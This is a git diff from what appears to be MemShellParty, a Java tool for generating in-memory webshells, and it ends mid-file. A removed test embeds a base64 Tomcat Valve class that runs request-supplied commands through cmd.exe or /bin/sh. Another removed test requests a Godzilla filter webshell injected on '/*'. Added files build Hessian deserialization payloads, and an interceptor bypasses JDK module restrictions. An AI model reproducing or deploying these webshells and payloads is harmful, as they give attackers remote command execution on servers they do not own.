import lombok.NoArgsConstructor;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/10
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class ProbeShellGenerateResponse {
|
||||
private ProbeShellResult probeShellResult;
|
||||
private String packResult;
|
||||
}
|
||||
@@ -11,7 +11,7 @@ import java.util.Map;
|
||||
*/
|
||||
@Data
|
||||
public class Config {
|
||||
private Map<String, List<String>> servers;
|
||||
private List<String> servers;
|
||||
private Map<String, Map<?, ?>> core;
|
||||
private List<String> packers;
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
package com.reajason.javaweb.boot.entity;
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
public class VersionInfo {
|
||||
private String currentVersion;
|
||||
private String latestVersion;
|
||||
private boolean hasUpdate;
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
package com.reajason.javaweb.boot.vo;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import lombok.Data;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/25
|
||||
*/
|
||||
@Data
|
||||
public class CommandConfigVO {
|
||||
private List<CommandConfig.Encryptor> encryptors;
|
||||
private List<CommandConfig.ImplementationClass> implementationClasses;
|
||||
}
|
||||
@@ -1,7 +1,4 @@
|
||||
spring:
|
||||
application:
|
||||
name: boot
|
||||
version: ${version}
|
||||
mvc:
|
||||
pathmatch:
|
||||
matching-strategy: ant_path_matcher
|
||||
version: ${version}
|
||||
-18
@@ -1,18 +0,0 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/10
|
||||
*/
|
||||
class ClassNameParseControllerTest {
|
||||
@Test
|
||||
void test(){
|
||||
ClassNameParseController classNameParseController = new ClassNameParseController();
|
||||
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
||||
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
||||
}
|
||||
}
|
||||
+9
-15
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.entity.Config;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
@@ -7,14 +8,8 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -29,15 +24,14 @@ public class ConfigControllerIntegrationTest {
|
||||
|
||||
@Test
|
||||
public void testConfigEndpoint() {
|
||||
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
ResponseEntity<Config> response = restTemplate.getForEntity("/config", Config.class);
|
||||
|
||||
@Test
|
||||
public void testConfigServersEndpoint() {
|
||||
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
|
||||
Config config = response.getBody();
|
||||
assertNotNull(config);
|
||||
assertNotNull(config.getServers());
|
||||
assertNotNull(config.getCore());
|
||||
assertNotNull(config.getPackers());
|
||||
}
|
||||
}
|
||||
}
|
||||
-79
@@ -1,79 +0,0 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||
import com.reajason.javaweb.boot.dto.PackerRequestSpecDTO;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/9/16
|
||||
*/
|
||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||
class MemShellGeneratorControllerTest {
|
||||
|
||||
@Autowired
|
||||
TestRestTemplate restTemplate;
|
||||
|
||||
@Test
|
||||
void generateShell() {
|
||||
MemShellGenerateRequest request = buildRequest("ScriptEngine", null);
|
||||
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
|
||||
@Test
|
||||
void generateJspxShellWithCustomConfig() {
|
||||
MemShellGenerateRequest request = buildRequest("JSPX", Map.of("unicode", true));
|
||||
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
|
||||
private static MemShellGenerateRequest buildRequest(String packerName, Map<String, Object> packerConfig) {
|
||||
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
||||
request.setShellConfig(ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellType(ShellType.FILTER)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shrink(true)
|
||||
.debug(true)
|
||||
.serverVersion("Unknown")
|
||||
.targetJreVersion(50)
|
||||
.build());
|
||||
request.setInjectorConfig(InjectorConfig.builder()
|
||||
.urlPattern("/*")
|
||||
.build());
|
||||
PackerRequestSpecDTO packerRequestSpecDTO = new PackerRequestSpecDTO();
|
||||
packerRequestSpecDTO.setName(packerName);
|
||||
if (packerConfig != null) {
|
||||
packerRequestSpecDTO.setConfig(packerConfig);
|
||||
}
|
||||
request.setPackerSpec(packerRequestSpecDTO);
|
||||
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
||||
shellToolConfigDTO.setGodzillaKey("key");
|
||||
shellToolConfigDTO.setGodzillaPass("pass");
|
||||
shellToolConfigDTO.setHeaderName("User-Agent");
|
||||
shellToolConfigDTO.setHeaderValue("hello");
|
||||
request.setShellToolConfig(shellToolConfigDTO);
|
||||
return request;
|
||||
}
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
plugins {
|
||||
`kotlin-dsl`
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
rootProject.name = "build-logic"
|
||||
@@ -1,38 +0,0 @@
|
||||
plugins {
|
||||
id("com.vanniktech.maven.publish")
|
||||
}
|
||||
|
||||
mavenPublishing {
|
||||
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
||||
signAllPublications()
|
||||
coordinates(
|
||||
"io.github.reajason",
|
||||
project.name,
|
||||
rootProject.version as String
|
||||
)
|
||||
|
||||
pom {
|
||||
name.set("MemShellParty")
|
||||
description.set(project.description)
|
||||
url.set("https://github.com/ReaJason/MemShellParty")
|
||||
inceptionYear.set("2025")
|
||||
licenses {
|
||||
license {
|
||||
name.set("MIT")
|
||||
url.set("https://spdx.org/licenses/MIT.html")
|
||||
}
|
||||
}
|
||||
developers {
|
||||
developer {
|
||||
id.set("reajason")
|
||||
name.set("ReaJason")
|
||||
url.set("https://reajason.eu.org")
|
||||
}
|
||||
}
|
||||
scm {
|
||||
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
|
||||
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
|
||||
url.set("https://github.com/ReaJason/MemShellParty")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0'
|
||||
|
||||
allprojects {
|
||||
if (it.name != 'bom') {
|
||||
apply(plugin: 'java')
|
||||
apply(plugin: 'idea')
|
||||
apply(plugin: 'jacoco')
|
||||
}
|
||||
|
||||
if (it.name != 'bom' && !it.name.startsWith("vul")) {
|
||||
dependencies {
|
||||
implementation platform(project(':bom'))
|
||||
}
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
}
|
||||
|
||||
idea {
|
||||
module {
|
||||
excludeDirs += file('src')
|
||||
}
|
||||
}
|
||||
|
||||
jacocoTestReport {
|
||||
reports {
|
||||
xml.required = true
|
||||
csv.required = true
|
||||
html.required = true
|
||||
}
|
||||
afterEvaluate {
|
||||
executionData.from fileTree(rootDir) {
|
||||
include '**/build/jacoco/**/*.exec'
|
||||
}
|
||||
|
||||
sourceDirectories = files('generator/src/main/java')
|
||||
|
||||
classDirectories.from(
|
||||
fileTree('generator/build/classes/java/main') {
|
||||
excludes = [
|
||||
'com/reajason/javaweb/memsell/**/godzilla/**',
|
||||
'com/reajason/javaweb/memsell/**/injector/**',
|
||||
'com/reajason/javaweb/memsell/**/command/**',
|
||||
'com/reajason/javaweb/config/**'
|
||||
]
|
||||
}
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -1,27 +0,0 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("idea")
|
||||
id("com.vanniktech.maven.publish") version "0.35.0" apply false
|
||||
}
|
||||
|
||||
idea {
|
||||
module {
|
||||
excludeDirs.add(file("src"))
|
||||
}
|
||||
}
|
||||
|
||||
version = "2.7.0-SNAPSHOT"
|
||||
|
||||
tasks.register("publishAllToMavenCentral") {
|
||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||
dependsOn(":packer:publishToMavenCentral")
|
||||
dependsOn(":generator:publishToMavenCentral")
|
||||
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenCentral")
|
||||
}
|
||||
|
||||
tasks.register("publishAllToMavenLocal") {
|
||||
dependsOn(":memshell-party-common:publishToMavenLocal")
|
||||
dependsOn(":packer:publishToMavenLocal")
|
||||
dependsOn(":generator:publishToMavenLocal")
|
||||
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenLocal")
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
plugins {
|
||||
id "io.freefair.lombok" version "8.11"
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb'
|
||||
version = rootProject.version
|
||||
|
||||
java {
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'net.bytebuddy:byte-buddy'
|
||||
implementation 'commons-io:commons-io'
|
||||
implementation 'org.apache.commons:commons-lang3'
|
||||
implementation 'commons-codec:commons-codec'
|
||||
implementation 'org.jetbrains:annotations'
|
||||
testImplementation platform('org.junit:junit-bom')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||
testImplementation "org.mockito:mockito-core"
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
+5
-5
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import org.objectweb.asm.ClassReader;
|
||||
import org.objectweb.asm.ClassVisitor;
|
||||
import org.objectweb.asm.ClassWriter;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import net.bytebuddy.jar.asm.ClassReader;
|
||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.ClassWriter;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -13,7 +13,7 @@ public class ClassBytesShrink {
|
||||
|
||||
public static byte[] shrink(byte[] bytes, boolean full) {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
|
||||
ClassWriter cw = new ClassWriter(0);
|
||||
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
||||
@Override
|
||||
public void visitSource(String source, String debug) {
|
||||
+15
-3
@@ -5,7 +5,7 @@ import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.isDefaultConstructor;
|
||||
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
|
||||
|
||||
/**
|
||||
* JDK9 引入的 module 系统,只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制,使我们能像低版本一样任意反射获取方法
|
||||
@@ -33,12 +33,24 @@ public class ByPassJavaModuleInterceptor {
|
||||
* Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
|
||||
* Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
|
||||
* <br>
|
||||
* 在默认构造方法中执行 byPassJdkModule 代码
|
||||
* 在静态代码块中执行 byPassJdkModule 代码
|
||||
* 值得注意的一点,builder 是不可变类型,所以都是需要重新赋值,例如以下代码示例
|
||||
* # code that not work
|
||||
* builder = new Bytebuddy().redefine(class);
|
||||
* builder.visit(something);
|
||||
* builder.make();
|
||||
* <br>
|
||||
* # code that work
|
||||
* <br>
|
||||
* builder = new Bytebuddy().redefine(class);
|
||||
* builder = builder.visit(something);
|
||||
* builder.make();
|
||||
*
|
||||
* @param builder bytebuddy builder
|
||||
* @return new builder with bypass
|
||||
*/
|
||||
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||
return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
|
||||
.on(isDefaultConstructor()));
|
||||
.on(isTypeInitializer()));
|
||||
}
|
||||
}
|
||||
+3
-3
@@ -18,6 +18,7 @@ import static net.bytebuddy.jar.asm.Opcodes.POP;
|
||||
/**
|
||||
* Debug 信息打印移除器
|
||||
* 目前仅支持移除以下几种
|
||||
* <br />
|
||||
* 1. System.out.println() - (printf 还不支持)
|
||||
* 2. e.printStackTrace()
|
||||
* 3. Logger.info (java.util)
|
||||
@@ -30,7 +31,7 @@ public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMeth
|
||||
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||
return builder.visit(
|
||||
new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.invokable(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE));
|
||||
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE));
|
||||
}
|
||||
|
||||
@NotNull
|
||||
@@ -46,8 +47,7 @@ public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMeth
|
||||
@Override
|
||||
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
||||
if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|
||||
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace") && descriptor.equals("()V"))
|
||||
|| (opcode == INVOKEVIRTUAL && owner.equals("java/lang/Throwable") && name.equals("printStackTrace") && descriptor.equals("()V"))
|
||||
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))
|
||||
|| (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning")))
|
||||
) {
|
||||
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
|
||||
+1
-15
@@ -9,15 +9,10 @@ import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.jetbrains.annotations.NotNull;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.Set;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* 静态方法替换
|
||||
*
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class MethodCallReplaceVisitorWrapper implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
|
||||
@@ -25,20 +20,11 @@ public class MethodCallReplaceVisitorWrapper implements AsmVisitorWrapper.ForDec
|
||||
private final String targetClassName;
|
||||
private final Set<String> replaceClassNames;
|
||||
|
||||
private MethodCallReplaceVisitorWrapper(String targetClassName, Set<String> replaceClassNames) {
|
||||
public MethodCallReplaceVisitorWrapper(String targetClassName, Set<String> replaceClassNames) {
|
||||
this.targetClassName = targetClassName.replace(".", "/");
|
||||
this.replaceClassNames = replaceClassNames.stream().map(s -> s.replace(".", "/")).collect(Collectors.toSet());
|
||||
}
|
||||
|
||||
public static AsmVisitorWrapper newInstance(String methodName, String className, String replaceClassName) {
|
||||
return new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.method(named(methodName),
|
||||
new MethodCallReplaceVisitorWrapper(
|
||||
className,
|
||||
Collections.singleton(replaceClassName))
|
||||
);
|
||||
}
|
||||
|
||||
@NotNull
|
||||
@Override
|
||||
public MethodVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||
+2
-4
@@ -6,7 +6,6 @@ import net.bytebuddy.description.field.FieldList;
|
||||
import net.bytebuddy.description.method.MethodList;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.jar.asm.ClassReader;
|
||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||
@@ -24,7 +23,7 @@ public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||
|
||||
@Override
|
||||
public int mergeReader(int flags) {
|
||||
return flags | ClassReader.EXPAND_FRAMES;
|
||||
return flags;
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -47,8 +46,7 @@ public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||
new Remapper() {
|
||||
@Override
|
||||
public String map(String typeName) {
|
||||
if (typeName.startsWith("javax/servlet/")
|
||||
|| typeName.startsWith("javax/websocket/")) {
|
||||
if (typeName.startsWith("javax/servlet/")) {
|
||||
return typeName.replaceFirst("javax", "jakarta");
|
||||
} else {
|
||||
return typeName;
|
||||
+13
-2
@@ -1,9 +1,13 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.Collections;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -39,8 +43,15 @@ class MethodCallReplaceVisitorWrapperTest {
|
||||
DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
|
||||
.redefine(TargetClass.class)
|
||||
.name(newClassName)
|
||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||
"targetMethod", newClassName, ExternalClass.class.getName()))
|
||||
.visit(new AsmVisitorWrapper
|
||||
.ForDeclaredMethods()
|
||||
.method(named("targetMethod"),
|
||||
new MethodCallReplaceVisitorWrapper(
|
||||
newClassName,
|
||||
Collections.singleton(ExternalClass.class.getName())
|
||||
)
|
||||
)
|
||||
)
|
||||
.make();
|
||||
Class<?> redefinedClass = dynamicType.load(MethodCallReplaceVisitorWrapperTest.class.getClassLoader())
|
||||
.getLoaded();
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,28 @@
|
||||
plugins {
|
||||
id "io.freefair.lombok" version "8.11"
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb'
|
||||
version = rootProject.version
|
||||
|
||||
dependencies {
|
||||
implementation 'net.bytebuddy:byte-buddy'
|
||||
|
||||
implementation 'com.caucho:hessian:4.0.66'
|
||||
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
||||
|
||||
testImplementation platform('org.junit:junit-bom')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
}
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
@Data
|
||||
public class DeserializeConfig {
|
||||
private PayloadType payloadType;
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import com.caucho.hessian.io.Hessian2Output;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/19
|
||||
*/
|
||||
public class Hessian2DeserializeGenerator {
|
||||
@SneakyThrows
|
||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
||||
PayloadType payloadType = config.getPayloadType();
|
||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
||||
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
||||
hessian2Output.writeObject(obj);
|
||||
hessian2Output.close();
|
||||
return bos.toByteArray();
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import com.caucho.hessian.io.HessianOutput;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/19
|
||||
*/
|
||||
public class HessianDeserializeGenerator {
|
||||
@SneakyThrows
|
||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
||||
PayloadType payloadType = config.getPayloadType();
|
||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
HessianOutput hessianOutput = new HessianOutput(bos);
|
||||
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
|
||||
hessianOutput.writeObject(obj);
|
||||
hessianOutput.close();
|
||||
return bos.toByteArray();
|
||||
}
|
||||
}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
